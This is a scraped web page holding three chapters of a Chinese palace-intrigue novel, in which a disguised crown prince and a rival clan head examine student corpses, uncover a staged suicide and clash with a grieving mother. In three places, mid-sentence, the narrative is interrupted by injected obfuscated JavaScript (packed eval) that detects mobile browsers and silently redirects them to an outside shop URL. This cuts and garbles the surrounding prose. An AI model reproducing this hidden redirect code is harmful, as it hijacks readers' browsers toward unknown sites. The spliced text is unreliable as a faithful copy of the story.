裴承的目光往上,小太子笑着翻过手,袖子滑落,露出一截明显纤细的腕骨,那手掌朝上一颠一颠,竟有个半红半绿的枣儿在他的手心抛起抛落,像个逃不掉的掌中物。 他不由一笑。 想玩啊。 在小太子不怀好意的目光下,在那一粒枣子被随意颠来倒去的扑腾中,裴承慢条斯理地抬步往前。 屋檐的阴影慢慢将他也一并罩了进去。 “好啊,那在下陪殿下去。” 4. 禽兽 李相筠换了一身没有花纹的青色圆领袍,腰间系着黑皮躞蹀带,上挂有短匕首、打火石等寻常物件,头上没有戴纱网帽,用一只素玉簪插在髻上。 全身上下除了那张脸,没有半点可以显露身份的标识。 但是有这张脸,做再多的掩饰都不过掩耳盗铃,自欺欺人,裴府尹叹了一路的气。 从城东到城西,义庄的新看守人还没见过新来的府尹,捧着从他腰间解下的吊牌半信半疑地道:“国子监学子的尸身确实现在保存在义庄内,不过仵作已经验过,验尸单现在应该就在京兆府衙值房……裴府台是没有见着么?” “咳——”裴府尹把手背在身后,拿着官腔:“本府台知道陛下相当关注此案,所以才来亲自查看,你有不方便之处?” 看守人闻言,连忙躬身道:“岂敢,府台既然要看,小人这就带路。” 裴府尹回头看。 裴承和小太子,两人一个比一个镇定,没有一点马上要看死尸的异样,他也只有忍下已经翻腾的肠胃,跟在看守人身后。 李相筠不是第一次来义庄,所以没有像裴府尹一样到处看。 她低垂眼睫,还在思考这件把她牵扯住的自焚案,耳边就响起裴承的嗓音。 “殿下果然天赋异禀,一点也不害怕。” 李相筠抬起眼睛,扯了下唇角,似笑非笑:“彼此彼此,裴家主也不像是第一次来义庄看死人,看来手下没少死过人,所以见怪不怪了吧?” “殿下有经验。”裴承看似谦卑恭维了句。 李相筠用手拨开挂在墙上不知道枯了多少年的菖蒲和艾叶束,装不知,“姚相说裴家主有大才,将来该不会是去玄扇司高就?” 前面的裴五爷都忍不住回头。 玄扇司是内宦的地盘,这太子的嘴抹了毒似的。 “说不好,在下看东宫就挺好的。” “哦,那孤正好缺个禽兽官,裴家主瞧着也有经验。” 李相筠盯着前面。 一只圆耳朵短嘴筒子黑眼珠,身长腿短,白老鼠一样的小兽不知道从哪里钻出来,正站在裴承肩头朝她探头探脑。 裴承摸出肉干喂给那小兽吃,嘴里说:“那倒是可惜了,下官只会御兽,训不了禽,但是少时在外练有一手好厨艺,尤擅长铁锅炖大鹅。” 谁人都知道,当今东宫爱宠是一群雪羽大鹅,他说炖大鹅的时候,太子的脸就沉了。 “裴家主跟来究竟有何用意?” “好奇罢了,听闻当初怀贤太子的遗体运到长安城时,殿下推开冰棺曾经见过,可看出了什么?”他随口一提。 李相筠蓦地停住步。 前面裴五爷和义庄看守人已经走远了,而后边的执金卫见状就停在原处,扶刀而立。 李相筠眸底一片冰冷。 就仿佛三年前渗透身骨的寒意从没有回暖过,那浑噩的天色让她跌跌撞撞了一路,两边摇晃的灯笼闪着诡谲的光色,那此起彼伏哭丧的声音,犹如罩在头顶的撞钟,震得她五脏六腑剧痛无比。 ——“我不信!让我看皇兄!” ——“不行啊殿下!” 太监们抱住她的腰,扯住她的手臂,混乱中,她的头发乱了,袖子也裂了,太监们的笼冠被她踩了个稀巴烂。 ——“快来人啊,七皇子疯了!” ——“滚开你们这些阉狗,别拦我!” 她靠着一腔悲愤,力气大得出奇,几个太监都没有把她困住,她用力推开棺木,眼睛定定望了进去。 ——“李相筠你放肆!” 她回过身,泪流了下来,扑通一下跪在地上,仰头喊道:“父皇!皇兄他身上……” “啪!”一个巴掌猛地抽在她脸颊上,把她的脸都打得歪斜到一侧。 ——“孽子!这里是你能来的地方吗!” 裴承盯着小太子的脸。 太子的脸色很差,紧抿着微颤的唇瓣,仿佛想藏起许多的心事。 裴承正待要开口,心口忽然像被一只大手用尽全力握住,异常的疼痛放射到四肢百骸,不等他捂住胸口,剧痛就戛然而止,一丝涟漪都没有剩下。 那边李相筠的眼快速闭合了几下,再扬起时,只有含义不明的浅笑在里边。 “裴家主好奇心真大,听说刑部尚书与裴家交好,你不妨去向他借阅当时的案宗,上面记得很详细。” 裴承用手在胸口轻拍了下,像拂去了灰尘,他平静道:“案宗、验尸单上写的东西殿下若是相信,此番也不至于要隐名埋姓亲自来这一趟了。” 正说着话,看守人推开太平间的两扇木门,一股混杂着腐臭、酸味还有草药的复杂味道涌出。 两人同时抬起袖子捂住口鼻。 看守人拿出几块布,“这些布都是用药水浸过晒干的,干净的,隔绝尸臭、疫病都有作用。” 裴府尹用两根指头拎起一块,脸上尽是嫌恶之色。 这布还不知道被哪个仵作用过呢。 李相筠没有多说什么就把布绑在了耳后,见旁边的裴承一个劲看着她。 她蹙眉,莫名其妙道:“干什么?” “没什么。”裴承收回视线,才把布也绑在了自己的耳后,跟着小太子步入太平间。 裴府尹冲他背后欸了两声也没反应,无奈间也只能飞快蒙住口鼻,唉声叹气地随他们进去。 这太平间里有十张并排的石床,间隔差不多四尺宽,能供仵作在里面走动查验。 除了国子监的三名学子,离门近处还有两具明显腹部肿胀的尸体惹人注意。 李相筠以为是两名孕妇,但是经过一看,其中一人露在外面的两只脚指上各绑了一个牌子,左边大字写溺亡二字,右边则详细写了阉人,身长五尺,年约三十等等。 另一个也是差不多的描述。 “宫里的宦官怎么在这,溺亡于何处?” 看守人并没有见过太子,见李相筠衣式简单,腰无悬牌,辨不出身份,但是那张脸俊美非常,一瞧就出身非凡,立即答道:“溺在小燕渠里,但不知是不是宫中宦官,小人已经请示过上官,还没等到回复。” 早些年有不少人为避祸而自阉己身,后来宫里也收不下这么多宦官,这才下了明旨,私自阉身罪同盗窃。但在这之前,还是有许多已经成了阉人。 李相筠对宦官没有好感,“嗯”了声便走向那挨个摆着的三个学子尸体旁。 因为仵作已经验过了尸,所以现在这三具尸体都蒙上粗布,就等着家人来认领下葬。 李相筠从袖袋里取出一副手套戴在手上,再掀开粗布。 裴府尹还没“呕”出声,就看见小太子已经对尸体上手了。 裴承站到旁边,“殿下会验尸?” “不会。”李相筠瞟了他一眼,加快动作。 还不知道这裴家主到底打的什么主意,居然甘愿跟进太平间,还看着她查验尸体,他难道不是要为黄监丞撑腰的吗? “不是说是自焚,这尸体怎么没有变得焦黑?” 皮肤、毛发都还在,只是已经浮出了尸斑,看起来甚是骇人。 “起火的时候正好被两个夜巡的学子发现了端倪,火扑灭的及时。”看守人答道。 李相筠从旁边桌几上的竹筒里抽出两竹片,塞进尸体嘴里撬开一看,里面有黑灰,把口腔都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782248|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 染黑了。 再推开尸体下巴,让颈侧完全露了出来,上面有麻绳勒出的紫黑痕迹,那是淤血凝在了皮肤下。 李相筠正在思考,耳边有人插话:“没有抓挠的痕迹。” 她乜了眼,“裴家主懂验尸?” “略懂皮毛。” “那你说,此人会是自缢的吗?” 裴府尹在旁神情紧张。 裴承道:“但看脖颈勒痕只有一道,自喉结上……” 为观察尸身,裴承就站在小太子身边,此刻太子正微扬起脸听他解释,脖颈的线条柔和,喉结也不甚明显。 大黎皇室当真古怪,先太子也就罢了,只是脸生得漂亮,但是身量还是高大的,弯弓骑射时英姿飒爽,男子气概尽显,轮到这七皇子这里,明显是阴柔有足,却不够男人。 裴承顿了下,才继续道: “……到耳后且口紧闭是自缢,不过看口鼻中的黑灰,便难说了,除非他在上吊前故意往嘴里塞了一把灰。” “此话如何说?”裴府尹不懂验尸,但是听出裴承的意思,就是说这学子的死有蹊跷。 李相筠把沾了灰的竹签竖了起来:“活人上吊时不管愿不愿意,都会因窒息而挣扎呼吸,屋内烧的都是书本信纸,极易化灰,吸进的黑灰就留在人口腔鼻腔里,但是死人已经闭上五窍,便只能少量烟灰存在鼻腔外。” 裴府尹一琢磨,“这不是正好证明,这学子是自己吊死的吗?” “是灰太多了。”裴承对裴府尹解释了句。 李相筠转头看义庄看守人,“那日仵作是怎么说的?” 看守人猛地被点名,吓了个激灵,“小人……” 唰——背后一声刺耳的拔刀声,顿时让看守人改变了口风,他两股战战,冷汗涔涔:“小人听那徐仵作说……死者颈部一道绳结,自喉结往上贴在两侧耳根处,口鼻之中皆有黑灰,符合自焚自缢者……” “可是他没有说,这死者口里的灰多得不像话吧!”李相筠把竹片往地上一丢。 火还没烧光所有的书和纸,断没有这么浓的灰尘被吸进口。 这学子是吊死后才被人放的火。 所谓自缢者脚下有穴有炭的习俗是来自一个说法:有土则生,无土则死,木炭聚魂魄。① 用土穴与炭火佐证,更利于判断死者是否自缢而亡,但是时至今日,也方便了一些歹人制造伪证。 李相筠转身欲对邓谦吩咐,就听见院子外传来凄厉的哭声: “我的儿啊——” 一伙人乌泱泱涌进来,看守人赶紧迎上去:“夫人请问……” 他话还没说完,就被对方一把揪住了衣襟。 那妇人双目通红,唇瓣颤动不止:“我儿在哪?!他们说我儿是被太子逼死的,怎么就搁在这里?!” 在贵妇身后跟着的家丁侍卫个个凶神恶煞,人数甚至比李相筠带来的执金卫还多。 “殿下,那是廖氏盐商的夫人……” “邓统领,保护好太子殿下。” 李相筠抬头,裴承与裴府尹已经站在了角落,与他们隔着几个石床的位置。 邓谦亦愣了下,望向那边忽然“好心”的裴家主。 裴承的嗓音清晰,太平间里人人都能听见。 “太子?”那廖家大娘子猛地把脑袋扭了过来,看见李相筠的那一刻目眦欲裂,一只带着金戒指的手指直直戳来,大喊道:“是你!凶手!还我儿命来!——” 邓谦马上把太子挡在身后,同时拔出刀来,“保护太子!” 锃亮的刀把昏暗的太平间都照亮了几分,刀光映出裴承英挺的眉目,他微微一笑。 5. 唇枪 李相筠见着裴承的笑,转眼间明白了他的意图。 一下死了三名国子监学子,圣人本打算在千秋节大办一场法事都被搅得没了心情。 对李相筠而言,不办法事,少了那些乌烟瘴气她自是高兴,但圣人因此对她心生芥蒂却是个不小的隐患。 一事未平,一事又起,这里她与盐商再起冲突,假使又打伤或是打死一两个,那些御史非得兴高采烈地跳起来狠狠参她了。 这个裴承,要的就是她分身乏术。 思及此,她更不能再和这些人胡搅蛮缠,立即上前一步,命令道:“来人,把这里的尸体都砍了!” 情绪激昂的廖家娘子一听马上扯起嗓子吼道:“谁敢动我儿!” 头上的大金钗被她牢牢握在手里成了武器,在空中乱舞。 邓谦不管太子的命令道不道德,反正已经横刀在一个死尸的脖颈上,他只看太子的意思,故而望向李相筠。 廖家娘子嘴唇一哆嗦,真怕他手起刀落,毁了儿子的尸身。 “且慢!” 李相筠见廖家娘子冷静下来了,才道:“身为母亲一心为儿讨公道,孤敬你有勇气,然是非不分,颠倒黑白,孤耻你没有脑子。” 刚冷静没有一刻的廖家娘子顿时又暴怒起来,她再次挥舞着金钗,大颗大颗的眼泪涌出来,嘶哑喊道:“你懂什么!我、是我求了三百座庙,鸿生才肯投生到我的肚子里,三天三夜我才生下了他,鸿生就是我的命!——是我的命!” 话音落,廖家娘子想起多年以来的不易,想起哺育儿子成才的艰辛,悲从中来,身子萎顿于地,手拍打自己发紧的胸口,泣不成声:“都有什么仇有什么怨,冲我来!为什么要夺走我的孩子……杀了我!杀了我!别杀我的孩儿……儿啊……”她忽然又想到了什么,涌起一股力气,手脚并用爬起来,跌跌撞撞跑上前,挨个掀开粗布,认出自己的孩子,就抱住已经冰冷的尸体呜呜哭泣。 “夫人!”旁边廖家的家丁侍卫也跟着动容掉泪,“节哀啊!” 众人的劝慰让廖家大娘子更加悲伤,她悲呼一声:“我活着还有何意义!”就要往石床上撞。 “夫人不可!” 家丁侍卫又七手八脚去拦她,太平间里混乱一片。 在这混乱的哭喊声中,李相筠垂在身侧的指.尖一颤,思绪不由回到了那一个雨天,也是一样的混乱。 ——“为什么要夺走我孩子,殿下!殿下!太子殿下!” ——“太子妃不要为难奴婢们,这孩子就不该存于世,难道圣人不比这个孩子更重要吗?您就好好送她走……哎呦,太子妃跑了!快来人拦住她!” ——“阿筠!” 宦官们青灰的衣袖层层叠叠,仿佛是从地里长出来的荆棘丛,生生网住那个柔弱的宫装女子,她的一只手从缝隙中伸出来,指尖手背绷得如绞紧的弦,“救我孩儿……” 李相筠很痛。 有人扯住了她的头发,她拼命往前挣扎,耳畔能清晰听见发丝一根根绷断的声音,终于她往前摔倒在湿泞的地上,又飞快地爬起来,又有人伸手拦她,她用力咬在那只手腕上,像一只疯了的狗撕扯,那人痛喊了声,捂着伤手跌到一旁,而她则抢先抱起躺在泥水里的婴孩。 这个出生尚不足一旬的婴儿闭着眼,张着嘴,唇边血迹蜿蜒,早已经没了气息。 旁边内宦宫婢如释重负,也没有人计较她抱起了太子妃的女儿。 李相筠身体完全僵住了,这孩子甚至还没有见过父亲一面,就死在了她的亲祖父手下。 远处,太子妃面如缟素,遥遥望了过来,她的神情被打落的细雨笼得朦朦胧胧,看不真切。 李相筠身子发抖。 她恐惧,害怕,担忧,诸多复杂的情绪一起涌了上来,填满了她小小的胸腔,视野瞬间失去了所有的色彩,像是被人泼了一把浓墨。 她看不见太子妃的脸,也看不见那些内宦宫婢。 ——“皇兄对不起,是我没有保护好小郡主,我、我太害怕了,我怕皇嫂会揭穿我的身份,我怕父亲也会对我动手,那时候我甚至在想如何才能让皇嫂不要开口……等我再睁眼的时候,他们就说是皇嫂对父亲口出恶言,污蔑君父,服毒自尽了……” 李相筠跪在太子脚边,头垂着,眼泪就掉在了腿上,洇开的痕迹像是呕出的血滴,一点一滴,溅满双膝。 ——“为什么死的不是我?要是我能替她们死就好了……皇兄,你杀了我吧,我不想再这样提心吊胆地活下去了。” 在李相筠出生的那一年,皇帝已经杀光了自己所有的女儿,时隔十二年,他又下令杀死了自己的孙女。 只有她,只有她一直苟延残喘,不知何时会被发现,何时会被处死。 或许,她真的该死,从出生那一刻她就应该死了,可她又是那么畏惧死。 所以她哭求皇兄,让她以死谢罪。 一只微颤的手轻柔地覆在她的头顶,缓缓拍了拍,“阿筠,没有人需要替另一个人去死。你有什么错?你没有错……阿筠,不要信什么谶言,谶言不能断人生死,唯人心险恶罢了。要活着,逃避求死毫无意义。” 慢慢地,李相筠的眼神坚定起来。 “放开她!别拦着!要撞死就撞个干脆,拖拖拉拉像什么话!”李相筠大喝了一声。 廖家的侍卫家丁受惊吓当真松了力气,而廖家大娘子则胸脯起伏,惊疑不定地望了过来。 李相筠环视一圈,才道:“大娘子你儿子死了,你却逃避求死,难道就不想知道真凶是谁?不想看真凶伏法吗?” 气息急乱的廖家大娘子抬起乱糟糟的脑袋,红通通的眼睛里还噙着水光,脸上痛色悲愤扭曲在一起,格外狰狞:“凶手,凶手不就是你吗?是你逼死了我孩儿!” “孤是吗?” 李相筠推开邓谦挡在自己身前的刀,走到人前,她下巴微昂,虽然一身素衣,但她姿态清贵,容貌昳丽,自是气势十足,“孤乃皇七子,君父之血脉,自古有嫡立嫡,无嫡立长,如今无嫡无长,孤是名正言顺,国子监的学子究竟是被谁煽动,要反对孤为东宫太子,其心险恶,其罪当诛!” 说话间,李相筠抬起眸,瞥向一角的裴承,他面容淡淡,不见喜悲,只望着她不再插嘴。 廖家大娘子反驳不得,其实她也不太明白自己儿子是为什么而死,但是人人都说是太子逼死了他,她自然也就信了。 “我儿纯善,待友真诚,侍亲孝顺,不是犯奸作科之辈……” 李相筠顺着她的话,“是,廖郎君为人诚善,家中富裕,时常帮助同斋的学子日常用度,他还孝顺双亲,这样的人岂会因为反对太子,不顾自己五十大寿在即的老父亲?” 三名死者的身份、性情以及过往,大理寺少卿已经第一时间整理了卷宗抄送给了东宫一份,所以李相筠能准确无误说出。 廖家大娘子唇瓣剧烈颤动,“你……殿下是说,我儿不可能自焚上吊……” 是啊,她的孩儿虽正直却不迂腐,断不会这么轻易舍弃自己的性命,他明知道自己对耶娘而言是多么珍贵。 看着百思不解又悲痛万分的廖家大娘子,李相筠不由想到了自己,亲者蒙冤亡故的感觉她最是清楚。 “究竟是何人宁可葬送三条无辜学子性命也攀扯到孤的头上,孤是一定会彻查到底。” 廖家大娘子灰暗一片的眼底亮了亮,将凌乱的坐姿归拢成了一个规矩的跪姿,她犹豫须臾,才哽咽道:“殿、殿下若能找出真凶,告慰我儿在天之灵,廖家上下必会感恩戴德。” 听见这话,裴五爷拧起眉头对旁边人道:“廖家富甲一方,还与工部尚书沾亲带故,若与廖家交好,对太子而言就好比如虎添翼……”他自顾自说着,可身边的裴承不见踪影,人早已经出了太平间,正在外面听他的贴身侍卫禀告什么。 “案子孤会查,不过廖家公然冒犯于孤,不能不罚,这些侍卫每人责二十仗即是,出去领罚吧。” 明明可以趁机卖个大人情,偏要在这里罚一下,都说太子眦睚必报,此言不假啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782249|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 裴五爷连忙提起袍子、扶正官帽,溜之大吉。 看守人擦着额间的汗,终于把乌泱泱一群廖家人送走,正要回到太子跟前再卖个好,就被几道急冲冲的身影撞得原地打了个转,晕头转向间险些砸到旁边的裴府尹。 “哎呀对不住了。”一个年轻个矮的青年还知道回头扶了一把,其他几个已经大步跨进了太平间。 目送人走远,裴府尹道:“你看见刚刚那位了吗?这么年轻就是门下省的人了,后生可畏啊。” 适才在青年相扶的时候,他腰间的牌子翻了过来,让他看见了上面的字样。 裴承比他多看到一面,道:“他就是太子的起居注官?难怪,那日城门前就看见他……鬼鬼祟祟。” 形容他鬼鬼祟祟一点也没夸大其词,因为今日也是如此。 那些人进去后,唯有这个落后的青年没有敢跟进去,而是在门口探头探脑,不时用耳朵贴在旁边的窗户纸上,企图从中听到一些信息。 所谓起居注官,便是随行伴驾的官员,负责记载皇帝、太子日常重大事件,有且包括接见了什么人,讲了什么话等等。 是以今人才能在历朝的史记中看见那些昏聩的君主遗臭万年的言论。 与一群爱揪辫子的御史台老臣们一样,起居注官绝对是太子最讨厌的人之一。 裴府尹不好上前打听,只能在树下遥遥张望,“这些人这般着急来找太子,也不知道发生什么事情了。” “自然是要事。” “你知道?” 裴承嘴角噙着笑,“走吧,我们去刑部大牢一趟。” 他们才往外迈开几步,太子已经领着人大步走了出来。 “裴家主才到长安一日,孤就觉得这秋风愈发萧寒,你说怪不怪?”太子昂首而立,气势汹汹。 裴承只能停下脚步,回头与他见礼,温和一笑道:“殿下怕是忧思过多,正气不足,难压邪风,还是早寻名医,好好调养,以免因小失大,得不偿失。” “说到名医,不巧那位国子监监丞还是杏林名门之后,倘若不是刑部横插一脚,孤眼下说不定还能请他号一号脉了。”李相筠微眯了眼,脸上已经大为不快。 裴承面不改色,只捡了其中一样回:“哦?殿下此言意思是刑部不该按律接管涉及命案的要犯?” “难道该吗?”李相筠立刻反问。 他们都心知肚明,所谓的命案只是子虚乌有的糊涂案,为的就是把原本关押在大理寺的黄监丞弄到刑部去,而刑部就是他大可操作的地盘。 裴承偏头看向那位起居注官,提醒道:“这句话你该记下来,太子殿下以为太.祖之律法谬矣。” 其实高勇早已经背着人,掏出随身笔匣打开了册子,忽而芒刺在背,寒气渗人。 “高敢之,你胆敢乱记一个字?” 太子的声音砸来,高勇打了个哆嗦,口里回道:“没……没啊……”手却是写个不停。 旁边一小辫子垂胸前的年轻侍卫探头去看,只见高勇册子上新落下的一行墨迹,又是圆又是框,里面填了些数字,完全不知所云。 大抵这些起居注官都有自成一体的字系,不让外人能随意看出他们所记的内容,以免上位者看懂后要他们删减篡改。 “太子何故为难高左使?” “裴家主又何必蹚浑水?” “水清濯缨,水浊濯足,这水早已浑浊,我蹚一下又有何妨?” “水流湍急,裴家主小心站不稳脚,被冲到河底下,只能和淤泥烂土为伴。” 裴承笑了,道:“最坏的结果,也能和殿下这般有趣的人作伴,也不差。” 李相筠也笑了下,随即面无表情地转过头,对高勇道:“听见没有,记下来,裴家主公然诽谤储君为淤泥烂土!” 高勇面容扭曲,眼睛抽筋,扭头去看一边的大理寺少卿。 脸上只差写着“救命”二字! 大理寺少卿默默把头撇一边。 爱莫能助啊兄弟。 6. 嚣张 “殿下,眼下该如何是好?” 大理寺少卿目送裴家两人并着一行侍卫离开,却无计可施。 三法司在职权上互相掣肘,互不干涉,这也是太.祖定下的规矩。 刑部忽然拿文书要走犯人,不但打乱他们的计划不说,还有拿人大做文章的意图。 裴家锋芒毕露,要与东宫成水火之势。 不必多想,很快长安城的权贵官宦便会暗暗打听他们的消息,想与之结交。 往后裴家强一分,东宫就弱一分! 李相筠冷笑:“既然已经查出黄监丞医户的身份,就把人证物证都找出来,他的老祖母、户籍册子以及当初谁帮他改的通通找出来,他区区一个监丞,与孤素无恩怨,胆敢跳出来攀咬,一定有所图谋……” “会不会是赵郡王那边……”大理寺少卿陆展提了句,没敢多说。 长安城有封号的皇亲国戚足有十几位,但这些人大多与当今皇帝并不是一条直系血脉上的。 这还要追溯到太子的皇祖父,英宗皇帝头上。 当年英宗皇帝与在位的辉宗皇帝乃是叔侄关系。 辉宗皇帝的子嗣虽多,却个个不成器,空有皮囊,内里草包,实在让辉宗左右为难。 嫡子长子都不能肩挑重担,外面强敌又虎视眈眈,只等大黎虚弱之际,大肆进犯。 恰在此时,年轻骁勇的英宗皇帝出现在他的眼前,无论从哪方面看,这位文武双全的郎君才是储君最佳人选,可奈何他并非皇帝的血脉。 为了这立储大事,朝廷一度腥风血雨,最后尘埃落定,英宗皇帝成了太子,后来又做了皇帝。 而辉宗皇帝的儿子们只能遗憾退场,捡了个王爷头衔,外放出长安。 可他们并不服英宗皇帝,利用藩王的权限,僭越规制地扩建王府,招兵买马,一度给大黎带来隐患。 英宗皇帝不得不重起世家以抑藩王。 时至今日,虽然这些藩王后代都被收在天子眼皮子底下,但他们仍记得几十年前自己才是正统血脉,才是皇位的继承人。 尤其是齐郡王、赵郡王为首的“嫡系”,他们的祖父当年是辉宗皇帝的嫡子,假使没有英宗横插一脚,传到这一代,他们兄弟之一将会是皇帝! 这般想来,如何不能叫人愤懑郁闷。 好在当今皇帝子嗣凋零,居然只剩下太子一根独苗摇摇欲坠,简直是他们的天赐良机! “他们尽管来。” 李相筠眸光微凝,一脸凶煞:“孤等着他们一个个冒出来。” 当年设计陷害太子皇兄的人,最好也别放过她。 陆展看着小太子,“我们眼下是否先要弄清楚,是谁透露消息给了裴家的?” 李相筠眯了下眼,“我或许知道是哪个了。” / 刑部大牢与大理寺无甚区别,黄监丞只是摘了脖子上的枷锁,脚上、手上还挂着镣铐,他坐在墙角的稻草堆上,面色苍白,衣乱发散,与对面坐在椅子上衣摆洁净的郎君就有云泥之别。 裴承将他上下打量了一番,虽然对方的脸部轮廓不大一样,但依稀还有故人的影子,“经年一别,没想到天赋奇才的孙小神医竟然成了国子监监丞,还身陷囹圄,造化神奇。” 孙隐白也就是如今的黄拙,他把手搭在支起的膝盖上,锁链碰得叮铃哐当,他叹了口气,“是啊,当初与太子把酒言欢的无名小郎却成了权倾一方的裴家主,世事无常啊。” 提起先太子,两人都不约而同静默了须臾。 最后还是黄拙先开了口。 “你回来,也是为了他吧,当年的事发生之际,我还在外边,与你一样知之甚少。” 裴承偏头看囚牢高处的长窗,“那时候我正在病中,浑噩不省人事,后来才得知殿下尸身找到后,陛下不予追究,草草结案,将太子葬入皇陵。其中真相究竟如何,恐怕只有李氏皇族内才知晓。” 黄监丞一点头,怅然道:“七皇子平素得殿下颇多照顾,教以弓马,传授谋略,不曾想兄弟阋墙就在一夕之间……对了,你说的病可是太子信中所言的那个?” 对于并不熟悉的人,黄监丞谨慎地住了口,生硬地换了一个话题。 “裴家主这些年,身子恢复如常吗?” 裴承伸出手,“今日之前算是一切如常,只是适才我忽感两次心脏不适,骤起骤消,莫非也是因为那个的缘故?” 黄监丞虽多年不曾行医,但是切脉问诊都是童子功,故而犹豫了片刻还是搭了指去把他的脉搏,片刻后略有些惊讶道:“裴家主脉相稳健规律,想来心脏并无隐疾。” 不但如此,这些年他的身体竟如童子般不损分毫,实乃怪哉。 “那便好。” 裴承的声音打断了他的沉思。 “这些年小太子日渐坐大你们却奈何不得,可见对方也不是好拿捏的软柿子,往后不要轻举妄动了。” 黄监丞不应,反而惨然一笑:“事到如今,岂是你我能控制的,即便你有裴家在身后,也无可奈何。” 裴承不与他争辩,起身离开监牢。 狱卒赶紧进来,搬椅子的、锁门的,有条不紊。 与刑部侍郎辞别,裴承带两名贴身侍卫走出刑部大牢。 回想刚才裴承与黄监丞的谈话,向来心直口快的飞星道:“家主,您说会不会是长安的风水克您啊?要不然怎么在家里时就什么事都没有,到了长安反而难受了?不成找个风水师瞧瞧,属下怀疑咱们住的那宅子可能不干净……” “你是不是有病?”另一侍卫飞雨翻了个白眼。 “别不信,昨天晚上我起夜的时候就看见那屋檐上似乎有两只眼睛盯着我,我以为是什么贼人,追上去一看,毛都没有,再一转头,那眼睛就在下边看着我了,可把我吓得鸡皮疙瘩都起来了……” “长安城里不乏高手。”裴承道了句。 “这么说,昨天我看见的不是鬼,是有人来打探了?”飞星恍然大悟。 “废话,这世上哪有什么鬼的,你能不能别摆弄那个八卦盘了?!”飞雨嫌恶地瞥了眼。 “长安人不是就信这个么?我看家家户户都挂着,这是我自掏腰包买的,还打算给家主挂在门前呢!” 裴承头也没回,拒绝:“不必。” “家主何必推辞,怀贤太子不是还特意对您嘱咐,千万不要到长安来,可能就是知道长安风水克家主呢?所以还是挂上吧,说不定能挡一下灾……” 飞星喋喋不休的声音随着他们走出刑部,一同融入嘈杂的市井热闹声中。 长安城繁华,各色各样的人川流不息,李相筠依然穿着那身验过尸的青色圆领袍,身后也没跟人,就像是寻常儿郎,大大方方独自走在街头。 西市的街头总是格外热闹,而酒馆更是其中最闹腾的地方,沽酒的胡姬笑容灿烂,弹奏胡琴的鹰钩鼻乐师兴高采烈地跳着舞,旁边围着方桌喝酒的郎君们拍着桌子,划拳斗酒,酒液飞溅四周,馥郁的香气弥漫。 李相筠盘手看了片刻,走上前,冲着其中一个浑圆的背影伸脚一踹。 对方“嗷”得声站了起来,东张西望:“是谁!是谁敢踢小爷……啊,七郎,是什么风都把您吹来了。” 愤怒的声音在看清来人时,就变得荡漾起来,让旁边的人惊掉了下巴。 李相筠笑哼了声,掰动着手指关节,“不欢迎我?” 那咔咔两声让金宝一阵牙疼,他脸皮上的肥肉猛地抽动了几下,赶紧拿锦衣袖子擦亮条凳,努力扬起笑容,“怎么会,七郎说笑了!咱两这关系多好啊——来来来,七郎坐,好酒满上,歇歇脚。” 李相筠不动,扯起唇角皮笑道:“咱俩的关系有多好?我这边才抓了条鱼,你就给端别人锅里了?拿我借花献佛,也不怕对方是个泥菩萨自身难保?” 金宝顿时摆出一副惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782250|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讶的表情:“什么鱼,什么佛?七郎在说什么啊?” 李相筠走上前,一脚踏在他刚擦干净的条凳上,手里的折扇戳在金宝肥厚的胸前,“跟我装糊涂?” 金宝冷汗直流,支支吾吾。 “哪里来的狂贼,胆敢与我大哥叫板!”几个同桌喝酒的男子倏然拍桌站起身,酒盏往地上一砸,捋起袖子就冲过来。 “诶!别打!——”金宝张开双臂要拦这几个外乡狂汉,转眼就给一人嫌碍事揪到身后,自己挥拳冲了上来。 围观的酒客顿时露出同情的神情。 很快就会被揍成猪头吧? 小娘子们齐声惊呼,都是不忍直视。 李相筠把折扇往腰间一插,顺势踢开脚下的条凳,凳边正好撞上冲在最前头那男子的小腿上。 那人的脸刹那皱成含苞的菊花,而后弯下腰抱腿痛呼。 恰在此时左边一掌送到,李相筠往后一仰,巴掌狠狠从她鼻尖擦过,她一手擒住来人手臂滑至肩膀,自己猛一转身,把他过肩摔出去,再接一个旋身错脚,提起的膝盖抵住右边来人的攻击,反手扬起的巴掌“啪”得声打在左边靠过来的人脸上。 “哎呦我的腿!”“我的、我的胃!” “呜呜呜……” 短短几息,尘埃落定,那郎君行云流水地转身踩着条凳坐上桌,把腿一翘,扇子一张,衣袖都没起半个褶子! 金宝一手捂住微肿的半张脸,一手牵着郎君的衣下摆,跪在地上哭得肩膀耸动、瑟瑟发抖。 “祖宗欸!我金宝对您是忠心耿耿,日月可鉴啊!” “现在想起是什么事了?”李相筠冷嗤了声。 